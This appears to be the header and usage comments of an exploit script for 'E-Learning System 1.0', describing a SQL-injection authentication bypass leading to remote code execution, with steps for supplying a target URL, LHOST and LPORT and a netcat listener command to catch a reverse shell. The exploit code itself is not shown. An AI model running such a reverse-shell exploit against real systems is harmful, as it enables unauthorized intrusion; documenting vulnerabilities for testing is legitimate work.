  # Version: 1.0
  # Tested On: Kali Linux + XAMPP 7.4.4
  # Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution
  
  #Step 1: run the exploit in python with this command: python3 exploit.py
  #Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/
  #Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23
  #Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444
  #Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444
  #Step 6: Hit enter on theif your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.
